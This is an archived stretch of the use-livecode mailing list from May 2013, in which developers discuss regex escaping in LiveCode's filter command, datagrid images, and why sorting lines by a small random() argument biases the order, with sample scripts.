In-Reply-To: <519D6BE8.1070209@researchware.com> References: <519D35C4.7000605@researchware.com> <519D3A9A.90707@economy-x-talk.com> <519D5414.8040304@researchware.com> <519D63AA.7070302@economy-x-talk.com> <519D6BE8.1070209@researchware.com> Message-ID: I do find it strange that filter doesn't support full regexp syntax, seems like RunRev would have had to write special code instead of using standard regexp libraries which they use in other commands Shouldn't be too difficult to write a myFilter function that supports full regexp syntax using a repeat loop and matchText but we shouldn't really have to take the time to do that. Pete lcSQL Software On Wed, May 22, 2013 at 6:07 PM, Paul Dupuis wrote: > On 5/22/2013 8:32 PM, Mark Schonewille wrote: > > Hi Paul, > > > > I see what you mean. You weren't looking for a solution, just for more > > trouble :-) > > > > I tried several special characters and they can all be used to filter > > lines with the same workaround. Unfortunately, many of those special > > characters have no effect, because regex isn't fully supported by the > > filter command, as Pete mentioned already. Therefore I wonder why we > > need to escape the question mark. That seems inconsistent to me. > > Since ?, *, [, and ] are used as special characters, it is possible, > thought unlikely, to need to escape any or all of them in the pattern to > actually filter on those characters. > > It turns out you can escape ? and * by using [?] or [*] which treats the > character in the bracket as a character to me matched rather than a > wildcard. I have not explored how it may be possible to escape the brackets > > Of course, you could do some pre-processing of the source data to > replace those characters with some token that is guaranteed not to be in > the source text, then apply the filter and then replace the token(s) > with the original characters, so there are always a work-around in code. > > I was mostly wondering if there was an 'undocumented' escape character > others on the list had found but no one bothered to add a not to the > dictionary for. However, I guess that is not the case. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From pete at lcsql.com Wed May 22 21:37:00 2013 From: pete at lcsql.com (Peter Haworth) Date: Wed, 22 May 2013 18:37:00 -0700 Subject: Datagrid - reference an image in a column that's stored in a database In-Reply-To: References: Message-ID: I think you could: - customize the ColPic column to contain an image (any image, even an empty one) - edit the FillInData handler of the ColPic column to use the link to binary read the image into a variable and set the text of your image to the variable. There could be problems if your images are of different dimensions. Pete lcSQL Software On Wed, May 22, 2013 at 5:29 PM, Shawn Blc wrote: > I have a datagrid. Using a MySQL database. In one field of the database > I'm storing the image link > example: http://forums.runrev.com/styles/prosilver/imageset/site_logo.gif > > How do I go about showing that image in a column of my datagrid? For > instance if I have a column called colPic how would I show the above > reference image? > > Been stumped on this for hours. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From pete at lcsql.com Wed May 22 21:41:06 2013 From: pete at lcsql.com (Peter Haworth) Date: Wed, 22 May 2013 18:41:06 -0700 Subject: Unexpected scrollbarDrag message In-Reply-To: <519D5F38.4050403@tweedly.net> References: <519D5F38.4050403@tweedly.net> Message-ID: On Wed, May 22, 2013 at 5:13 PM, Alex Tweedly wrote: > Then make the field very slightly less tall - and now simply clicking in > the field causes a tiny scroll because the insertion cursor is being put in > the field. And that generates a 'scrollbardrag' which is picked up by the > handler in the card script. I prsume that because it is generated *from* > the field, it wouldn't be seen by a handler attached to the field itself > (to avoid possible recursion ??) You nailed it Alex, thanks. The key is that the field is "less tall". Actually it's also right justified, not sure if that would cause the same behavior. I did put a scrollbardrag message in the field and it does trigger under these circumstances. I guess I could use that approach and not pass the message to stop the card handler from being triggered. Pete lcSQL Software From shawnlivecode at gmail.com Wed May 22 21:49:01 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Wed, 22 May 2013 20:49:01 -0500 Subject: Datagrid - reference an image in a column that's stored in a database In-Reply-To: References: Message-ID: Thanks Pete, could you give me a short example or pass me on a link where I can see a short example? On Wed, May 22, 2013 at 8:37 PM, Peter Haworth wrote: > I think you could: > > - customize the ColPic column to contain an image (any image, even an empty > one) > - edit the FillInData handler of the ColPic column to use the link to > binary read the image into a variable and set the text of your image to the > variable. > > There could be problems if your images are of different dimensions. > > Pete > lcSQL Software > > > On Wed, May 22, 2013 at 5:29 PM, Shawn Blc > wrote: > > > I have a datagrid. Using a MySQL database. In one field of the database > > I'm storing the image link > > example: > http://forums.runrev.com/styles/prosilver/imageset/site_logo.gif > > > > How do I go about showing that image in a column of my datagrid? For > > instance if I have a column called colPic how would I show the above > > reference image? > > > > Been stumped on this for hours. > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From shawnlivecode at gmail.com Wed May 22 22:05:54 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Wed, 22 May 2013 21:05:54 -0500 Subject: Datagrid - reference an image in a column that's stored in a database In-Reply-To: References: Message-ID: Tried this, but isn't working.: *on* FillInData pDataArray *set* the filename of image "fldColImage" of me to pDataArray[" http://mydomain.com/image.png"] *end* FillInData On Wed, May 22, 2013 at 8:49 PM, Shawn Blc wrote: > Thanks Pete, could you give me a short example or pass me on a link where > I can see a short example? > > > On Wed, May 22, 2013 at 8:37 PM, Peter Haworth wrote: > >> I think you could: >> >> - customize the ColPic column to contain an image (any image, even an >> empty >> one) >> - edit the FillInData handler of the ColPic column to use the link to >> binary read the image into a variable and set the text of your image to >> the >> variable. >> >> There could be problems if your images are of different dimensions. >> >> Pete >> lcSQL Software >> >> >> On Wed, May 22, 2013 at 5:29 PM, Shawn Blc >> wrote: >> >> > I have a datagrid. Using a MySQL database. In one field of the >> database >> > I'm storing the image link >> > example: >> http://forums.runrev.com/styles/prosilver/imageset/site_logo.gif >> > >> > How do I go about showing that image in a column of my datagrid? For >> > instance if I have a column called colPic how would I show the above >> > reference image? >> > >> > Been stumped on this for hours. >> > _______________________________________________ >> > use-livecode mailing list >> > use-livecode at lists.runrev.com >> > Please visit this url to subscribe, unsubscribe and manage your >> > subscription preferences: >> > http://lists.runrev.com/mailman/listinfo/use-livecode >> > >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > From pete at lcsql.com Wed May 22 22:46:37 2013 From: pete at lcsql.com (Peter Haworth) Date: Wed, 22 May 2013 19:46:37 -0700 Subject: Datagrid - reference an image in a column that's stored in a database In-Reply-To: References: Message-ID: Hi Shawn, The Datagrid manual has examples of how to customize a column, you can find it at http://lessons.runrev.com/m/datagrid There isn't an exact example of what you want to do but It will get you started with how to customize a column to contain an image (or any other type of control), and also how to customize the FillInData handler. Once you've figured that out, the code to set the image from the link is pretty easy, something like (not tested) put URL ("binfile:" && ) into tData set the text of to tData Pete lcSQL Software On Wed, May 22, 2013 at 6:49 PM, Shawn Blc wrote: > Thanks Pete, could you give me a short example or pass me on a link where I > can see a short example? > > > On Wed, May 22, 2013 at 8:37 PM, Peter Haworth wrote: > > > I think you could: > > > > - customize the ColPic column to contain an image (any image, even an > empty > > one) > > - edit the FillInData handler of the ColPic column to use the link to > > binary read the image into a variable and set the text of your image to > the > > variable. > > > > There could be problems if your images are of different dimensions. > > > > Pete > > lcSQL Software > > > > > > On Wed, May 22, 2013 at 5:29 PM, Shawn Blc > > wrote: > > > > > I have a datagrid. Using a MySQL database. In one field of the > database > > > I'm storing the image link > > > example: > > http://forums.runrev.com/styles/prosilver/imageset/site_logo.gif > > > > > > How do I go about showing that image in a column of my datagrid? For > > > instance if I have a column called colPic how would I show the above > > > reference image? > > > > > > Been stumped on this for hours. > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > > subscription preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From gerry.orkin at gmail.com Wed May 22 09:43:55 2013 From: gerry.orkin at gmail.com (Gerry Orkin) Date: Wed, 22 May 2013 23:43:55 +1000 Subject: LC on iPad? In-Reply-To: <8D02508ACE806F1-FFC-18E2@webmail-m244.sysops.aol.com> References: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au> <519C77E4.4050604@economy-x-talk.com> <8D02508ACE806F1-FFC-18E2@webmail-m244.sysops.aol.com> Message-ID: True. g On 22/05/2013, at 11:37 PM, dunbarx at aol.com wrote: > > > I read on the LC website that iPad was supported. True? > Craig Newman > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dsc at swcp.com Thu May 23 00:20:12 2013 From: dsc at swcp.com (Dar Scott) Date: Wed, 22 May 2013 22:20:12 -0600 Subject: randomly order a list In-Reply-To: <970D2BFD-54C0-49E0-8EE1-B0B1497A9961@unil.ch> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <970D2BFD-54C0-49E0-8EE1-B0B1497A9961@unil.ch> Message-ID: Easy mistake to make, Jacques, but it is not 3!. Random() emulates independent random numbers. It cannot avoid numbers returned before in the sort. Each line will get a randomly assigned number independent of the other lines. The number of ways 3 lines can be ordered does not apply. Each line will be assigned a number by random(). So it is possible that the first line will be assigned a 2 and the other lines assigned 2, also. The probability of that is one out of 3^3. (Not three factorial) You can create a function to log the assignments and use that as the comparison metric function. You can see the assignments, and different lines can have the same value. Each sort will get a random pattern of 1, 2 and 3. There are 27 of them. Fourteen of them will cause a sort with the first line coming first again. That is 52%, not 33%. You can write code to sort the same starting string a thousand times and the same first line will show up 52% of the time, not 33%. Dar On May 22, 2013, at 6:16 PM, Jacques Hausser wrote: > Dar, > > I'm afraid you are wrong? > they would not be 27 possibilities (3^3) but only 6 (3! - factorial), because each line (first, second and third) can only be present once. > > And I tested random (3) and random (9999) corrected to give a number between 1 and 3 with the following scripts: > > on mouseUp > put "" into fld "FR" > repeat 100 > put random(3) & comma after fld "FR" > end repeat > end mouseUp > > result: 1,3,2,3,1,1,1,3,3,3,3,2,1,2,2,2,1,2,2,3,1,3,2,3,2,2,3,2,2,3,3,2,2,3,1,3,1,3,2,2,1,3,2,1,3,3,2,3? > mean value: 1.992 > > on mouseUp > put "" into fld "FR" > put 0 into tt > repeat 1000 > put random(9999) into tx > switch > case tx <= 3333 > put 1 into t > break > case tx <= 6666 > put 2 into t > break > default > put 3 into t > end switch > add t to tt > end repeat > put tt/1000 into fld "Moyenne" > end mouseUp > > result: 1,2,3,3,1,3,2,3,3,2,3,2,3,3,2,2,1,1,3,3,2,2,2,1,3,1,3,3,3,3,1,1,3,2,3,1,2,1,1,1,2,1,3,2,3,2,2? > mean value: 1.992 > > so, it seems to be no statistical difference in the results ! No reason to use large numbers when not needed. (Ideally, the means should be 2, not 1.992, but well?) > > Jacques > > > Le 23 mai 2013 ? 01:23, Dar Scott a ?crit : > >> Here is (I think) the situation for random(3). >> >> Lines will be (virtually) assigned numbers randomly; there are 27 possibilities. >> >> There are 9 cases in which the first line is assigned a 1. It is first in the sort. >> There are 4 cases in which the first line is assigned a 2 and the other lines get 2 or 3. It is first in the sort >> There is one case in which all get a 3. Again, the first line comes in first. >> >> So, assuming my math is good, that means the first line comes in first 14 out of 27 times. That is 52% and should match what people are getting empirically. >> >> This doesn't address broken random(), though. It just emphasizes the importance of the big number for random(). >> >> Dar >> >> >> On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: >> >>> I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: >>> >>> sort lines of myVar by random(the number of lines of myVar) >>> >>> But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. >>> >>> So does anyone have a good way to do this? >>> >>> Thanks, >>> Chris >>> >>> >>> -- >>> Chris Sheffield >>> Read Naturally, Inc. >>> www.readnaturally.com >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dsc at swcp.com Thu May 23 00:21:26 2013 From: dsc at swcp.com (Dar Scott) Date: Wed, 22 May 2013 22:21:26 -0600 Subject: randomly order a list In-Reply-To: References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> Message-ID: <33AA895E-5800-45FC-B6A7-19C60F69EFC8@swcp.com> I think this is likely, too. Well, now that you got rid of the small argument to random. On May 22, 2013, at 6:36 PM, Randy Hengst wrote: > Well Chris, I'm sure you've already tried this, but when this kind of thing happens to me? in other words, when a script is correct, but the results are wrong? I've messed something up later in the script with another put statement that overrides it. Maybe the place in the script where you've removed the * > > My debugging skills are not top notch? So, I'd brute force things and put an "answer tPossibleAnswers" after each line to see what is happening? and again at the end of the handler. > > I'd be interested in what you discover. > > be well, > randy > ----- > On May 22, 2013, at 4:34 PM, Chris Sheffield wrote: > >> Thanks for the suggestions everyone, but I'm still getting strange results, and I'm beginning to think there's something I'm doing that's affecting use of the random() function. Not really sure what it would be though. Here's my code: >> >> set the itemDel to tab >> put "*" & item 3 of sRecSet into tPossibleAnswers -- correct answer >> put cr & item 4 of sRecSet after tPossibleAnswers -- distractor 1 >> put cr & item 5 of sRecSet after tPossibleAnswers -- distractor 2 >> sort lines of tPossibleAnswers by random(999999) -- randomly re-order the list >> >> This app pulls words from a database and presents three possible answers to choose from. The asterisk above is used to identify the correct answer after the sort takes place. It's removed later on. The sort only works randomly one time. After that, the same sort order is used every time, so the correct answer *always* ends up listed first. It doesn't matter if I use a very high number or if I use 'the number of lines of tPossibleAnswers'. Something is very strange. Just as a quick test, I added a button to the card with this inside: >> >> put "one" & cr & "two" & cr & "three" into tLines >> sort lines of tLines by random(the number of lines of tLines) >> answer tLines >> >> This seems to work just fine. Yes, it does mean getting the same order sometimes twice or maybe even three times in a row, but not usually more than that, which would be fine in this case. So I'm not sure what's going on with my actual code. I'm no longer setting the randomSeed or anything like that. >> >> The other strange thing is no matter what I try, if I use the random() function or the any keyword in anyway, I get similar results. Something is affecting the "randomness". This is for an iOS app, btw, if that makes any difference to anyone. This might be kind of a dumb thing to do, but the only other thing I can think of would be to add several more lines of data to the three actual possible answers, then sort the whole thing, then somehow filter out everything I added before the sort. With more lines, maybe I'd get better results? >> >> Thanks again, >> Chris >> >> On May 22, 2013, at 3:03 PM, Dar Scott wrote: >> >>> I think you are going to get the first line of the original list (correct answer) about half the time. Does that seem right to you from what you have seen? The correct answer will be in the first two about 80% of the time. >>> >>> Using the larger argument for random should give you better proportions. You should get it in the first line a third of the time. >>> >>> If you only interested in the first line, there might be some methods that are clearer and more fun. >>> >>> Dar >>> >>> >>> On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: >>> >>>> I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: >>>> >>>> sort lines of myVar by random(the number of lines of myVar) >>>> >>>> But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. >>>> >>>> So does anyone have a good way to do this? >>>> >>>> Thanks, >>>> Chris >>>> >>>> >>>> -- >>>> Chris Sheffield >>>> Read Naturally, Inc. >>>> www.readnaturally.com >>>> >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dsc at swcp.com Thu May 23 00:22:33 2013 From: dsc at swcp.com (Dar Scott) Date: Wed, 22 May 2013 22:22:33 -0600 Subject: randomly order a list In-Reply-To: References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> Message-ID: The sort value of each line does not depend on 'each' in this case. On May 22, 2013, at 7:16 PM, Jacques Hausser wrote: > Chris, I think Randy has put his finger on something: the * is before any number or letter in the ASCII numeration. I do not know what the random function uses when randomizing a "set" (I was not even aware of this possibility) but that could well be the ASCII value(s) of the first char(s). > > Jacques > > Le 23 mai 2013 ? 02:36, Randy Hengst a ?crit : > >> Well Chris, I'm sure you've already tried this, but when this kind of thing happens to me? in other words, when a script is correct, but the results are wrong? I've messed something up later in the script with another put statement that overrides it. Maybe the place in the script where you've removed the * >> >> My debugging skills are not top notch? So, I'd brute force things and put an "answer tPossibleAnswers" after each line to see what is happening? and again at the end of the handler. >> >> I'd be interested in what you discover. >> >> be well, >> randy >> ----- >> On May 22, 2013, at 4:34 PM, Chris Sheffield wrote: >> >>> Thanks for the suggestions everyone, but I'm still getting strange results, and I'm beginning to think there's something I'm doing that's affecting use of the random() function. Not really sure what it would be though. Here's my code: >>> >>> set the itemDel to tab >>> put "*" & item 3 of sRecSet into tPossibleAnswers -- correct answer >>> put cr & item 4 of sRecSet after tPossibleAnswers -- distractor 1 >>> put cr & item 5 of sRecSet after tPossibleAnswers -- distractor 2 >>> sort lines of tPossibleAnswers by random(999999) -- randomly re-order the list >>> >>> This app pulls words from a database and presents three possible answers to choose from. The asterisk above is used to identify the correct answer after the sort takes place. It's removed later on. The sort only works randomly one time. After that, the same sort order is used every time, so the correct answer *always* ends up listed first. It doesn't matter if I use a very high number or if I use 'the number of lines of tPossibleAnswers'. Something is very strange. Just as a quick test, I added a button to the card with this inside: >>> >>> put "one" & cr & "two" & cr & "three" into tLines >>> sort lines of tLines by random(the number of lines of tLines) >>> answer tLines >>> >>> This seems to work just fine. Yes, it does mean getting the same order sometimes twice or maybe even three times in a row, but not usually more than that, which would be fine in this case. So I'm not sure what's going on with my actual code. I'm no longer setting the randomSeed or anything like that. >>> >>> The other strange thing is no matter what I try, if I use the random() function or the any keyword in anyway, I get similar results. Something is affecting the "randomness". This is for an iOS app, btw, if that makes any difference to anyone. This might be kind of a dumb thing to do, but the only other thing I can think of would be to add several more lines of data to the three actual possible answers, then sort the whole thing, then somehow filter out everything I added before the sort. With more lines, maybe I'd get better results? >>> >>> Thanks again, >>> Chris >>> >>> On May 22, 2013, at 3:03 PM, Dar Scott wrote: >>> >>>> I think you are going to get the first line of the original list (correct answer) about half the time. Does that seem right to you from what you have seen? The correct answer will be in the first two about 80% of the time. >>>> >>>> Using the larger argument for random should give you better proportions. You should get it in the first line a third of the time. >>>> >>>> If you only interested in the first line, there might be some methods that are clearer and more fun. >>>> >>>> Dar >>>> >>>> >>>> On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: >>>> >>>>> I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: >>>>> >>>>> sort lines of myVar by random(the number of lines of myVar) >>>>> >>>>> But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. >>>>> >>>>> So does anyone have a good way to do this? >>>>> >>>>> Thanks, >>>>> Chris >>>>> >>>>> >>>>> -- >>>>> Chris Sheffield >>>>> Read Naturally, Inc. >>>>> www.readnaturally.com >>>>> >>>>> >>>>> _______________________________________________ >>>>> use-livecode mailing list >>>>> use-livecode at lists.runrev.com >>>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From michael_livecode at nayyan.com Thu May 23 00:07:30 2013 From: michael_livecode at nayyan.com (Michael Mays) Date: Thu, 23 May 2013 12:07:30 +0800 Subject: randomly order a list In-Reply-To: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> Message-ID: <2C9542F4-4104-4A47-BA5A-12647B0D0993@nayyan.com> As I understand the sort command the syntax is something like: sort this_group _of_thing by the _text _values_in _this _other_thing so what it seems like to me is that Randy is saying sort the_lines_in_this_thing by either_1_or_2_or_3 In other words the lines are being sorted by a constant: 1 or 2 or 3. And since lines of a container are being sorted, shouldn't the sort key be some part of each line being sorted?? I don't think the sort command is what Randy needs. He needs a shuffle function: on mouseUp put "cat" into line 1 of my_lines put "rat" into line 2 of my_lines put "dog" into line 3 of my_lines put Shuffle_The_Lines(my_lines) into my_shuffled_lines put my_shuffled_lines end mouseUp function Shuffle_The_Lines some_lines repeat with counter = number of lines in some_lines down to 1 put (random (counter)) into random_line_number put line random_line_number of some_lines into random_line put random_line into line counter of shuffled_lines delete line random_line_number of the_lines end repeat return shuffled_lines end Shuffle_The_Lines Michael On May 23, 2013, at 1:59 AM, Chris Sheffield wrote: > I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: > > sort lines of myVar by random(the number of lines of myVar) > > But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. > > So does anyone have a good way to do this? > > Thanks, > Chris > > > -- > Chris Sheffield > Read Naturally, Inc. > www.readnaturally.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dsc at swcp.com Thu May 23 02:08:15 2013 From: dsc at swcp.com (Dar Scott) Date: Thu, 23 May 2013 00:08:15 -0600 Subject: Random sort demonstration Message-ID: <776A823E-BA0A-4E1E-B0F5-386DD176FE8B@swcp.com> This script demonstrates what is going on with random sorts of short lists using this: sort items of myVar by random( the number of items of myVar) This is a button script on a stack with a wide field with a scrollbar. local lineAssignments on mouseUp set the cursor to watch put empty into field 1 put "a,b,c" into original put 0 into numFirstSame put 100 into trials repeat trials times put original into myVar put empty into lineAssignments sort items of myVar by randomLog( the number of items of myVar, each) delete char -1 of lineAssignments put "(" & original & ") is assigned (" & lineAssignments & ") and sorted as (" & myVar & ") where the" after field 1 if (item 1 of original) is (item 1 of myVar) then put " first is same" after field 1 add 1 to numFirstSame else put " first is different" after field 1 end if put return after field 1 end repeat put round( (numFirstSame/trials) * 100) into percentSame put "The first was the same " & percentSame & "% of the time" after field 1 set the scroll of field 1 to 999999 end mouseUp function randomLog pRange, pEach get random(pRange) put pEach & "->" & it & comma after lineAssignments return it end randomLog Note that this uses function randomLog() instead of random() so the assignments can be gleamed. These are the last few lines of a typical output: (a,b,c) is assigned (a->3,b->2,c->2) and sorted as (b,c,a) where the first is different (a,b,c) is assigned (a->1,b->2,c->2) and sorted as (a,b,c) where the first is same (a,b,c) is assigned (a->1,b->2,c->1) and sorted as (a,c,b) where the first is same (a,b,c) is assigned (a->2,b->2,c->3) and sorted as (a,b,c) where the first is same The first was the same 53% of the time I got percentages in the range 45% to 60%. My theory (other email) predicted 52 percent. You can try upping the number of trials and commenting out the per-sort lines, and see what you get. The problem is equality in the sort. It keeps the same order in comparison of pairs of items. For example, the items sorted in the last case above as though they were 2,2,3. The first item is still first. So... Use large values for the argument to random() in random sorts. Dar From jacques.hausser at unil.ch Thu May 23 03:41:48 2013 From: jacques.hausser at unil.ch (Jacques Hausser) Date: Thu, 23 May 2013 09:41:48 +0200 Subject: Random sort demonstration In-Reply-To: <776A823E-BA0A-4E1E-B0F5-386DD176FE8B@swcp.com> References: <776A823E-BA0A-4E1E-B0F5-386DD176FE8B@swcp.com> Message-ID: <6F309B18-56BD-4965-A80E-509936774345@unil.ch> Thanks, Dar, now I understand ! Till yesterday evening, I always used the numeric result of random(tUpperlimit) to "de-sort" chunks of text, being not aware of the use of function's combination like "sort lines of [?] random(xxx)". ? and at least my scripts worked exactly as I expected ! IMHO, the two uses of "random" arequite different and should be clearly distinguished in the language. "put random(tUpperLimit) into tRanVar" -- OK, this is standard and something like "scramble lines of myVar", instead of "sort lines of myVar random(xxx)". Could be a command using the same function behind the scene, with the max integer as parameter to avoid prevalence of "the first" in the case of repetitions. And it is semantically clearer than "sort random". Meanwhile, it should be useful to put an user note in the dictionary clarifying the process. A vous l'honneur ! Jacques Le 23 mai 2013 ? 08:08, Dar Scott a ?crit : > This script demonstrates what is going on with random sorts of short lists using this: > > sort items of myVar by random( the number of items of myVar) > > This is a button script on a stack with a wide field with a scrollbar. > > local lineAssignments > > on mouseUp > set the cursor to watch > put empty into field 1 > put "a,b,c" into original > put 0 into numFirstSame > put 100 into trials > repeat trials times > put original into myVar > put empty into lineAssignments > sort items of myVar by randomLog( the number of items of myVar, each) > delete char -1 of lineAssignments > put "(" & original & ") is assigned (" & lineAssignments & ") and sorted as (" & myVar & ") where the" after field 1 > if (item 1 of original) is (item 1 of myVar) then > put " first is same" after field 1 > add 1 to numFirstSame > else > put " first is different" after field 1 > end if > put return after field 1 > end repeat > put round( (numFirstSame/trials) * 100) into percentSame > put "The first was the same " & percentSame & "% of the time" after field 1 > set the scroll of field 1 to 999999 > end mouseUp > > function randomLog pRange, pEach > get random(pRange) > put pEach & "->" & it & comma after lineAssignments > return it > end randomLog > > Note that this uses function randomLog() instead of random() so the assignments can be gleamed. > > These are the last few lines of a typical output: > > (a,b,c) is assigned (a->3,b->2,c->2) and sorted as (b,c,a) where the first is different > (a,b,c) is assigned (a->1,b->2,c->2) and sorted as (a,b,c) where the first is same > (a,b,c) is assigned (a->1,b->2,c->1) and sorted as (a,c,b) where the first is same > (a,b,c) is assigned (a->2,b->2,c->3) and sorted as (a,b,c) where the first is same > The first was the same 53% of the time > > I got percentages in the range 45% to 60%. My theory (other email) predicted 52 percent. You can try upping the number of trials and commenting out the per-sort lines, and see what you get. > > The problem is equality in the sort. It keeps the same order in comparison of pairs of items. For example, the items sorted in the last case above as though they were 2,2,3. The first item is still first. > > So... > > Use large values for the argument to random() in random sorts. > > Dar > > > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From sc at sahores-conseil.com Thu May 23 03:56:41 2013 From: sc at sahores-conseil.com (Pierre Sahores) Date: Thu, 23 May 2013 09:56:41 +0200 Subject: Android splash screens In-Reply-To: References: Message-ID: Warmly add my votes to Terry demand! Le 23 mai 2013 ? 01:31, Terry Judd a ?crit : > From what I can make out in the Android release notes, splash images only relate to the personal and educational versions of Livecode. However, there is still a field for a splash image in the android panel of the standalone builder of the Livecode commercial version. > > I'd like to include a splash image as my app takes a little while to start up and a few seconds of black screen isn't a particularly good look but there doesn't seem to be much (any?) information on what size this image should be and how to adapt it for different sized devices and screens.The release notes mention using a square 600 x 600 pixel image, but this is for display on a Livecode branded splash screen using the personal and educational version. What about for the commercial version? > > Terry... > > Dr Terry Judd > Senior Lecturer in Medical Education > Medical Eduction Unit > Faculty of Medicine, Dentistry & Health Sciences > The University of Melbourne > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > 